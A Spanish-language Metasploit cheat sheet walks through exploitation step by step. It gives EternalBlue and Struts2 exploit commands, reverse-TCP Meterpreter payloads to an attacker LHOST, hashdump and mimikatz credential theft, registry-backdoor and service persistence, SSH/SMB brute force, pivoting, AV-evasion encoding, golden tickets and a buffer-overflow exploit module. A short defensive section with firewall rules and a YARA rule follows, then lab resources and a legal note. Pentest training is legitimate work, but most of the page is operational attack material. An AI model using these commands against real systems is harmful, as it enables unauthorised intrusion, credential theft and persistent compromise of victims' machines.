Skip to content

Metasploit Framework - Plataforma de Explotación

Metasploit Framework - Plataforma de Explotación

Section titled “Metasploit Framework - Plataforma de Explotación”

Metasploit Framework es la plataforma de pentesting más popular del mundo, desarrollada por Rapid7. Proporciona información sobre vulnerabilidades de seguridad, ayuda en la validación de penetration testing y gestión de vulnerabilidades.

Terminal window
# Verificar instalación
msfconsole --version
# Actualizar Metasploit
sudo apt update && sudo apt upgrade metasploit-framework
# Inicializar base de datos
sudo msfdb init
Terminal window
# Instalar dependencias
sudo apt update
sudo apt install curl wget gnupg2 software-properties-common
# Agregar repositorio de Rapid7
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
sudo ./msfinstall
# Inicializar base de datos
sudo msfdb init
Terminal window
# Verificar estado de la base de datos
msfdb status
# Inicializar base de datos PostgreSQL
msfdb init
# Reiniciar base de datos
msfdb reinit
# Ejecutar con base de datos
msfdb run
Terminal window
# Iniciar consola principal
msfconsole
# Iniciar con base de datos
msfdb run
# Iniciar silencioso (sin banner)
msfconsole -q
# Cargar script al inicio
msfconsole -r script.rc
Terminal window
# Listar todos los exploits
show exploits
# Buscar exploits específicos
search type:exploit platform:windows
search cve:2017-0144 # EternalBlue
search name:apache
# Usar un exploit
use exploit/windows/smb/ms17_010_eternalblue
Terminal window
# Listar payloads
show payloads
# Payloads compatibles con exploit actual
show payloads
# Usar payload específico
set payload windows/meterpreter/reverse_tcp
Terminal window
# Módulos de escaneo y enumeración
use auxiliary/scanner/portscan/tcp
use auxiliary/scanner/smb/smb_version
use auxiliary/scanner/http/dir_scanner
Terminal window
# Listar encoders
show encoders
# Usar encoder específico
set encoder x86/shikata_ga_nai
Terminal window
# Generadores de NOP
show nops
Terminal window
# Ayuda general
help
# Ayuda de comando específico
help search
help use
# Información del módulo actual
info
# Mostrar opciones del módulo
show options
# Mostrar opciones avanzadas
show advanced
# Mostrar targets disponibles
show targets
Terminal window
# Establecer opciones
set RHOSTS 192.168.1.100
set RPORT 445
set LHOST 192.168.1.50
set LPORT 4444
# Establecer opciones globales
setg RHOSTS 192.168.1.0/24
setg LHOST 192.168.1.50
# Ver configuración actual
show options
# Deshacer configuración
unset RHOSTS
unsetg LHOST
Terminal window
# Ejecutar exploit
exploit
# Ejecutar en background
exploit -j
# Ejecutar auxiliar
run
# Verificar si target es vulnerable
check
Terminal window
# Información del sistema
sysinfo
getuid
getpid
# Navegación de archivos
pwd
ls
cd C:\\Windows
cat file.txt
download file.txt
upload /local/file.txt C:\\Windows\\file.txt
Terminal window
# Información de red
ipconfig
route
netstat
# Port forwarding
portfwd add -l 3389 -p 3389 -r 192.168.1.100
portfwd list
portfwd delete -l 3389
Terminal window
# Listar procesos
ps
# Migrar a otro proceso
migrate 1234
# Ejecutar comandos del sistema
execute -f cmd.exe -i -H
# Crear proceso
execute -f notepad.exe
Terminal window
# Obtener privilegios SYSTEM
getsystem
# Robar tokens
steal_token 1234
# Cargar módulos adicionales
load incognito
load mimikatz
load kiwi
Terminal window
# basic_scan.rc
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
set PORTS 21,22,23,25,53,80,110,443,993,995
run
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.0/24
run
use auxiliary/scanner/http/http_version
set RHOSTS 192.168.1.0/24
run
Terminal window
# auto_exploit.rc
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
set RHOSTS file:/tmp/targets.txt
exploit -j
post_exploit.py
#!/usr/bin/env python3
import subprocess
import time
def run_meterpreter_commands():
commands = [
"sysinfo",
"getuid",
"ps",
"netstat",
"route",
"hashdump",
"screenshot"
]
for cmd in commands:
print(f"[+] Ejecutando: {cmd}")
# Aquí iría la lógica para ejecutar en Meterpreter
time.sleep(1)
def persistence():
persistence_commands = [
"run persistence -S -U -X -i 10 -p 4445 -r 192.168.1.50",
"run metsvc",
"reg setval -k HKLM\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run -v backdoor -d 'C:\\\\windows\\\\system32\\\\backdoor.exe'"
]
for cmd in persistence_commands:
print(f"[+] Persistencia: {cmd}")
if __name__ == "__main__":
run_meterpreter_commands()
persistence()
Terminal window
# Escanear vulnerabilidad
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.0/24
run
# Explotar EternalBlue
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/meterpreter/reverse_tcp
set RHOSTS 192.168.1.100
set LHOST 192.168.1.50
set LPORT 4444
exploit
# Post-explotación
sysinfo
getuid
getsystem
hashdump
Terminal window
# Escanear directorios web
use auxiliary/scanner/http/dir_scanner
set RHOSTS 192.168.1.100
set DICTIONARY /usr/share/metasploit-framework/data/wordlists/directory.txt
run
# Explotar aplicación web vulnerable
use exploit/multi/http/struts2_content_type_ognl
set RHOSTS 192.168.1.100
set RPORT 8080
set TARGETURI /struts2-showcase/
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.1.50
exploit
Terminal window
# SSH Brute Force
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.100
set USERNAME root
set PASS_FILE /usr/share/wordlists/rockyou.txt
set THREADS 10
run
# SMB Brute Force
use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.1.0/24
set SMBUser administrator
set PASS_FILE /usr/share/wordlists/common_passwords.txt
run
Terminal window
# En sesión Meterpreter
# Agregar ruta a red interna
route add 10.10.10.0 255.255.255.0 1
# Port forwarding local
portfwd add -l 3389 -p 3389 -r 10.10.10.100
# Usar proxy SOCKS
use auxiliary/server/socks_proxy
set SRVPORT 1080
run -j
# Configurar proxychains
echo "socks4 127.0.0.1 1080" >> /etc/proxychains.conf
proxychains nmap -sT 10.10.10.0/24
Terminal window
# Generar payload con evasión
use payload/windows/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
generate -e x86/shikata_ga_nai -i 10 -f exe -o payload.exe
# Usar template personalizado
use exploit/windows/fileformat/office_word_hta
set FILENAME document.docx
set LHOST 192.168.1.50
set LPORT 4444
exploit
Terminal window
# En sesión Meterpreter
# Persistencia mediante servicio
run persistence -S -U -X -i 10 -p 4445 -r 192.168.1.50
# Persistencia mediante registro
run metsvc
# Golden ticket (con mimikatz)
load kiwi
golden_ticket_create -d domain.com -u administrator -s S-1-5-21-... -k aes256_key
##
# Exploit personalizado para Metasploit
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Custom Exploit Example',
'Description' => 'Exploit personalizado de ejemplo',
'Author' => ['Tu Nombre'],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2023-12345'],
['URL', 'https://example.com/vuln']
],
'Platform' => 'linux',
'Targets' => [
['Linux x86', { 'Ret' => 0x08048484 }]
],
'Payload' => {
'Space' => 400,
'BadChars' => "\x00\x0a\x0d"
},
'DefaultTarget' => 0,
'DisclosureDate' => '2023-01-01'
))
register_options([
Opt::RPORT(9999)
])
end
def check
connect
sock.put("TEST\n")
response = sock.get_once
disconnect
if response && response.include?("Vulnerable App")
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
def exploit
connect
buffer = "A" * 260
buffer << [target.ret].pack('V')
buffer << payload.encoded
print_status("Enviando exploit...")
sock.put(buffer)
handler
disconnect
end
end
Terminal window
# Generar payloads
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o payload.exe
Terminal window
# Instalar Armitage
sudo apt install armitage
# Iniciar Armitage
armitage
Terminal window
# Generar beacon para Cobalt Strike
use payload/windows/beacon_reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
generate -f exe -o beacon.exe
Terminal window
# Procesos sospechosos de Meterpreter
ps aux | grep -E "(meterpreter|msf|metasploit)"
# Conexiones de red sospechosas
netstat -an | grep :4444
netstat -an | grep :4445
# Archivos temporales
find /tmp -name "*.exe" -o -name "*.elf"
find /var/tmp -type f -executable
Terminal window
# Reglas de firewall
iptables -A INPUT -p tcp --dport 4444:4450 -j DROP
iptables -A OUTPUT -p tcp --dport 4444:4450 -j DROP
# Detección con YARA
rule Meterpreter_Payload {
strings:
$a = "meterpreter"
$b = "ReflectiveLoader"
$c = "MetSrv.dll"
condition:
any of them
}
  1. Preparación:

    • Mantener Metasploit actualizado
    • Configurar base de datos correctamente
    • Usar workspaces para organizar proyectos
  2. Ejecución:

    • Verificar compatibilidad antes de explotar
    • Usar payloads staged para espacios limitados
    • Implementar técnicas de evasión
  3. Post-Explotación:

    • Migrar a procesos estables
    • Establecer persistencia múltiple
    • Documentar todos los accesos
  1. Monitoreo:

    • Supervisar conexiones salientes inusuales
    • Detectar patrones de Meterpreter
    • Implementar honeypots
  2. Prevención:

    • Mantener sistemas actualizados
    • Configurar firewalls restrictivos
    • Usar EDR/AV actualizado
  • OSCP: Offensive Security Certified Professional
  • CEH: Certified Ethical Hacker
  • GCPEN: GIAC Penetration Tester
  • Metasploitable: VM vulnerable oficial
  • DVWA: Damn Vulnerable Web Application
  • VulnHub: Colección de VMs vulnerables
  • HackTheBox: Plataforma de pentesting online

Nota Legal: Metasploit debe usarse únicamente en entornos autorizados para pentesting. El uso no autorizado puede ser ilegal y está prohibido.